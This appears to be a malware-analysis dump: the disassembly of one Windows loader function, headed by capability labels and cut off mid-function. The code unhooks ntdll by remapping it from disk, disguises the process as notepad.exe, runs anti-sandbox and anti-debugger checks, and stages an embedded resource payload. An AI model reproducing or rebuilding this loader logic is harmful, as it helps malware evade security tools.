Function at 0x1400014a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
sub rsp, 0x3e0
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x350], xmm6
mov dword [rbp + 0x370], ecx
mov qword [rbp + 0x378], rdx
call fcn.140002cc0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x2d0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x2c8], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x2c0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x348], rax
cmp qword [rbp + 0x348], 0
jne 0x140001585
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x348], rax
cmp qword [rbp + 0x348], 0
je 0x1400019a9
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0xe0]
mov rax, qword [rbp + 0x2c0]
mov r10, qword [rbp + 0x348]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0xe0]
mov qword [rbp + 0x2b8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x2b0], rax
mov rax, qword [rbp + 0x2b0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x2a8], rax
mov rax, qword [rbp + 0x2a8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2b8]
mov qword [rbp + 0x298], rax
mov rax, qword [rbp + 0x298]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2b8]
add rax, rdx
mov qword [rbp + 0x290], rax
mov word [rbp + 0x346], 0
jmp 0x140001991
mov ecx, 0x6ac
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x288], rax
mov dword [rbp + 0x33c], 0
mov dword [rbp + 0x284], 0
mov dword [rbp + 0x340], 0
jmp 0x14000173c
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x340]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x288]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x340], 1
cmp dword [rbp + 0x340], 0x1aa
jle 0x1400016f0
mov dword [rbp + 0x340], 0
jmp 0x14000177d
mov eax, dword [rbp + 0x340]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x288]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x33c], eax
add dword [rbp + 0x340], 1
cmp dword [rbp + 0x340], 0x1aa
jle 0x140001754
mov rax, qword [rbp + 0x288]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x290]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x290]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x346]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x278], rax
mov rax, qword [rbp + 0x278]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001980
pxor xmm0, xmm0
movss dword [rbp + 0x334], xmm0
mov dword [rbp + 0x338], 0
jmp 0x140001883
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x338]
movsd xmm0, qword [0x14000c188]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movups xmm1, xmm0
mov eax, dword [0x14000c190]
movd xmm0, eax
call fcn.140003cb0
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x338]
addsd xmm0, xmm0
movsd xmm2, qword [0x14000c188]
subsd xmm0, xmm2
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp + 0x334]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x334], xmm0
add dword [rbp + 0x338], 1
cmp dword [rbp + 0x338], 0x2a2
jle 0x14000180a
movss xmm1, dword [rbp + 0x334]
movss xmm0, dword [0x14000c194]
mulss xmm0, xmm1
movss dword [rbp + 0x334], xmm0
mov dword [rbp + 0xa8], 0
mov rax, qword [rbp + 0x278]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x278]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x2b8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0xa8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x278]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x278]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x2a0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x278]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x2b8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0xa8]
mov rax, qword [rbp + 0x278]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x278]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x2b8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0xa8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x346]
add eax, 1
mov word [rbp + 0x346], ax
mov rax, qword [rbp + 0x290]
movzx eax, word [rax + 6]
cmp word [rbp + 0x346], ax
jb 0x1400016bf
mov ecx, 0x914
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x270], rax
mov ecx, 0x914
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x268], rax
mov ecx, 0x914
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x260], rax
mov ecx, 0x914
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x258], rax
mov dword [rbp + 0x32c], 0x244
mov dword [rbp + 0x330], 0
jmp 0x140001b12
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x330]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x270]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x330]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x268]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x32c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x270]
add rax, rdx
mov edx, dword [rbp + 0x330]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x260]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x32c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x268]
add rax, rdx
mov edx, dword [rbp + 0x330]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x258]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x32c], 1
add dword [rbp + 0x330], 1
cmp dword [rbp + 0x330], 0x244
jle 0x140001a06
mov rax, qword [rbp + 0x270]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x268]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x260]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x258]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0x4b8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x250], rax
mov dword [rbp + 0x324], 0
mov dword [rbp + 0x320], 0
mov dword [rbp + 0x328], 0
jmp 0x140001c35
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x328]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x250]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x328]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x250]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140001c04
add dword [rbp + 0x324], 1
jmp 0x140001c2e
mov eax, dword [rbp + 0x328]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x250]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140001c2e
add dword [rbp + 0x320], 1
add dword [rbp + 0x328], 1
cmp dword [rbp + 0x328], 0x12d
jle 0x140001b92
mov rax, qword [rbp + 0x250]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0xac], 0
mov dword [rbp + 0x31c], 0x186
mov dword [rbp + 0x318], 0x136
mov dword [rbp + 0x314], 0x2a8
mov dword [rbp + 0x310], 0x1cc
jmp 0x140001d4a
mov eax, dword [rbp + 0x314]
cmp eax, dword [rbp + 0x310]
jle 0x140001ce7
mov eax, dword [rbp + 0x314]
cmp eax, dword [rbp + 0x31c]
jle 0x140001cc7
mov eax, dword [rbp + 0x314]
cmp eax, dword [rbp + 0x318]
jle 0x140001cbe
sub dword [rbp + 0x314], 1
jmp 0x140001d33
sub dword [rbp + 0x318], 1
jmp 0x140001d33
mov eax, dword [rbp + 0x31c]
cmp eax, dword [rbp + 0x318]
jle 0x140001cde
sub dword [rbp + 0x31c], 1
jmp 0x140001d33
sub dword [rbp + 0x318], 1
jmp 0x140001d33
mov eax, dword [rbp + 0x310]
cmp eax, dword [rbp + 0x31c]
jle 0x140001d15
mov eax, dword [rbp + 0x310]
cmp eax, dword [rbp + 0x318]
jle 0x140001d0c
sub dword [rbp + 0x310], 1
jmp 0x140001d33
sub dword [rbp + 0x318], 1
jmp 0x140001d33
mov eax, dword [rbp + 0x31c]
cmp eax, dword [rbp + 0x318]
jle 0x140001d2c
sub dword [rbp + 0x31c], 1
jmp 0x140001d33
sub dword [rbp + 0x318], 1
mov eax, dword [rbp + 0x314]
mov edx, eax
lea rax, [0x14000c05a]
mov rcx, rax
call fcn.140001450
cmp dword [rbp + 0x314], 0
jg 0x140001c8b
mov rax, qword [rbp + 0x2d0]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x248], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0xb0]
lea rax, [rbp + 0xac]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x248]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0xb8]
add rax, 0x3c
mov qword [rbp + 0x240], rax
mov rax, qword [rbp + 0x240]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x240]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x238], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x230], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x230]
mov r9d, 0x3000
mov r8d, 0x440
mov edx, 0
call rax
mov qword [rbp + 0x238], rax
cmp qword [rbp + 0x238], 0
je 0x140002bf4
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x228], rax
mov rax, qword [rbp + 0x228]
mov ecx, 0
call rax
mov dword [rbp + 0x224], eax
cmp dword [rbp + 0x224], 0xffffffff
je 0x140002bf4
mov dword [rbp + 0xa4], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x218], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0xa4]
mov r8, qword [rbp + 0x218]
mov rdx, rax
call r8
mov eax, dword [rbp + 0xa4]
cmp eax, 1
je 0x140002bf4
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x210], rax
cmp qword [rbp + 0x210], 0
je 0x140001f7d
mov rax, qword [rbp + 0x210]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x208], rax
mov rax, qword [rbp + 0x208]
mov ecx, 0
call rax
mov dword [rbp + 0x30c], eax
cmp dword [rbp + 0x30c], 0xffffffff
je 0x140002bf4
mov qword [rbp + 0x300], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x200], rax
cmp qword [rbp + 0x200], 0
je 0x140002017
mov rax, qword [rbp + 0x200]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1f8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x1f8]
mov r9d, 0x3000
mov r8d, 0x41f
mov edx, 0
call rax
mov qword [rbp + 0x300], rax
cmp qword [rbp + 0x300], 0
je 0x140002bf4
mov qword [rbp + 0x1f0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x1e8]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x4f4ee80
mov ecx, 0
call rax
mov qword [rbp + 0x1f0], rax
cmp qword [rbp + 0x1f0], 0
je 0x140002bf4
mov rax, qword [rbp + 0x1f0]
mov edx, 0x4f4ee80
mov rcx, rax
call fcn.14000a140
mov rax, qword [rbp + 0x1f0]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1e0], rax
mov rax, qword [rbp + 0x1e0]
mov ecx, 0
call rax
mov dword [rbp + 0x1dc], eax
cmp dword [rbp + 0x1dc], 0xffffffff
je 0x140002bf4
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1d0], rax
mov rax, qword [rbp + 0x1d0]
call rax
mov dword [rbp + 0x1cc], eax
mov ecx, 0x21d
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x1d0]
call rax
mov dword [rbp + 0x1c8], eax
mov eax, dword [rbp + 0x1c8]
sub eax, dword [rbp + 0x1cc]
cmp eax, 0x1eb
jbe 0x140002bf4
mov ecx, 0x66b
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x66b
jne 0x140002bf4
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1c0], rax
mov rax, qword [rbp + 0x1c0]
mov ecx, 0
call rax
mov dword [rbp + 0x1bc], eax
cmp dword [rbp + 0x1bc], 0xffffffff
je 0x140002bf4
mov rax, qword [rbp + 0x2c8]
lea rdx, str.FindResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1b0], rax
lea rax, str.THONBTDAQC
movzx eax, ax
mov rdx, rax
mov rax, qword [rbp + 0x1b0]
lea r8, str.THONBTDAQC
mov ecx, 0
call rax
mov qword [rbp + 0x1a8], rax
mov dword [rbp + 0x2fc], 0
mov dword [rbp + 0x2f8], 0
mov ecx, 0x6a8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1a0], rax
mov dword [rbp + 0x2f4], 0
jmp 0x1400022f9
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x2f4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1a0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x2f4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1a0]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x2fc], eax
add dword [rbp + 0x2f4], 1
cmp dword [rbp + 0x2f4], 0x1a9
jle 0x14000228b
mov dword [rbp + 0x2f4], 0
jmp 0x140002381
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x2f8]
mov eax, dword [rbp + 0x2f4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1a0]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x104]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, qword [0x14000c198]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140004100
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x2f8], eax
add dword [rbp + 0x2f4], 1
cmp dword [rbp + 0x2f4], 0x1a9
jle 0x140002311
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x2f8]
movss xmm1, dword [0x14000c1a0]
divss xmm0, xmm1
movss dword [rbp + 0x19c], xmm0
pxor xmm4, xmm4
cvtss2sd xmm4, dword [rbp + 0x19c]
movq rax, xmm4
movq xmm0, rax
call fcn.140003cd0
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x198], xmm0
mov rax, qword [rbp + 0x1a0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x2c8]
lea rdx, str.LoadResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x190], rax
mov rax, qword [rbp + 0x1a8]
mov r8, qword [rbp + 0x190]
mov rdx, rax
mov ecx, 0
call r8
mov qword [rbp + 0x188], rax
mov rax, qword [rbp + 0x2c8]
lea rdx, str.SizeofResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x180], rax
mov rax, qword [rbp + 0x2c8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x178], rax
mov rax, qword [rbp + 0x2c8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x170], rax
mov rax, qword [rbp + 0x1a8]
mov r8, qword [rbp + 0x180]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x178]
mov r8d, 0
mov ecx, 0x40000
call rax
mov qword [rbp + 0x168], rax
mov rax, qword [rbp + 0x1a8]
mov r8, qword [rbp + 0x180]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x168]
mov r9, qword [rbp + 0x170]
mov r8, rdx
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x160], rax
mov ecx, 0xf24
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x158], rax
mov dword [rbp + 0x2f0], 0
jmp 0x140002567
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x2f0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x158]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x2f0], 1
cmp dword [rbp + 0x2f0], 0x3c8
jle 0x14000251a
mov dword [rbp + 0x2f0], 0
jmp 0x14000267f
mov dword [rbp + 0x10c], 0
jmp 0x140002661
mov eax, dword [rbp + 0x2f0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x158]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x10c]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x158]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x14000265a
mov eax, dword [rbp + 0x10c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x158]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x108], eax
mov eax, dword [rbp + 0x2f0]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x158]
add rax, rdx
mov edx, dword [rbp + 0x10c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x158]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x10c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x158]
add rdx, rax
mov eax, dword [rbp + 0x108]
mov dword [rdx], eax
add dword [rbp + 0x2f0], 1
mov eax, 0x3c8
sub eax, dword [rbp + 0x2f0]
cmp dword [rbp + 0x10c], eax
jl 0x140002591
add dword [rbp + 0x2f0], 1
cmp dword [rbp + 0x2f0], 0x3c8
jle 0x140002582
mov rax, qword [rbp + 0x158]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x2d0]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x1a8]
mov r8, qword [rbp + 0x180]
mov rdx, rax
mov ecx, 0
call r8
mov rcx, rax
mov rdx, qword [rbp + 0x188]
mov rax, qword [rbp + 0x160]
mov r9, qword [rbp + 0x150]
mov r8, rcx
mov rcx, rax
call r9
mov dword [rbp + 0x2e8], 0
mov dword [rbp + 0x2e4], 0
mov ecx, 0x560
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x148], rax
mov dword [rbp + 0x2e0], 0
jmp 0x140002777
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x2e0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x148]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x2e0], 1
cmp dword [rbp + 0x2e0], 0x157
jle 0x14000272a
mov dword [rbp + 0x2e0], 0
jmp 0x140002867
cmp dword [rbp + 0x2e0], 0
je 0x1400027d7
mov eax, dword [rbp + 0x2e0]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x148]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x2e0]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x148]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x1400027e3
add dword [rbp + 0x2e0], 1
jmp 0x140002867
mov eax, dword [rbp + 0x2e0]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x148]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x110], eax
mov eax, dword [rbp + 0x2e0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x148]
add rax, rdx
mov edx, dword [rbp + 0x2e0]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x148]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x2e0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x148]
add rdx, rax
mov eax, dword [rbp + 0x110]
mov dword [rdx], eax
sub dword [rbp + 0x2e0], 1
cmp dword [rbp + 0x2e0], 0x157
jle 0x140002792
mov rax, qword [rbp + 0x148]
mov rcx, rax
call sub.msvcrt.dll_free
movabs rax, 0x906f6b925317101a
movabs rdx, 0x1cd8a4756599601b
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0xd9b9c38b64f519dc
movabs rdx, 0xe53bcb75ea46613d
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0xa2607fd3ac18f953
movabs rdx, 0xa3fc6f5daa695cd5
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x50e4ec638f554652
movabs rdx, 0x99f8cd66c7035121
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xafb3580f0eb58ca
movabs rdx, 0x5f176a943fb21208
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
mov dword [rbp + 0x8f], 0x63dd5f
mov dword [rbp + 0x2dc], 0xffffffff
add dword [rbp + 0x2dc], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x24d
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000c1a8]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003f30
movq rax, xmm0
mov qword [rbp + 0x140], rax
cmp dword [rbp + 0x2dc], 0x1df
jle 0x14000292c
movabs rax, 0xf88ff554e7accd7f
movabs rdx, 0x37599e16327e79a2
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0xc536a56b754ea603
movabs rdx, 0x3de0eae4760022d6
